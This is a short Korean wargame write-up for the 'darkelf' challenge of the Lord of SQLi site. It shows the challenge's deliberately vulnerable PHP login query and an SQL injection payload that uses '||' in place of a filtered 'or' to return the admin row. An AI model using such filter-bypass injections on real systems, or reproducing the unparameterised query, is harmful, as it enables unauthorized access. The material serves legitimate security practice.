[LOS] darkelf

문제

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https://los.rubiya.kr/chall/darkelf_c6a5ed64c4f6a7a5595c24977376136b.php 

https://los.rubiya.kr/chall/darkelf_c6a5ed64c4f6a7a5595c24977376136b.php

 

 

 

문제풀이

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<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect();  
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 
  if(preg_match('/or|and/i', $_GET[pw])) exit("HeHe"); 
  $query = "select id from prob_darkelf where id='guest' and pw='{$_GET[pw]}'"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
  if($result['id'] == 'admin') solve("darkelf"); 
  highlight_file(__FILE__); 
?>

 

아래 구문으로 필터 우회를 통해 id가 admin인 쿼리를 반환할 수 있다.

select id from prob_darkelf where id='guest' and pw=''||id='admin'";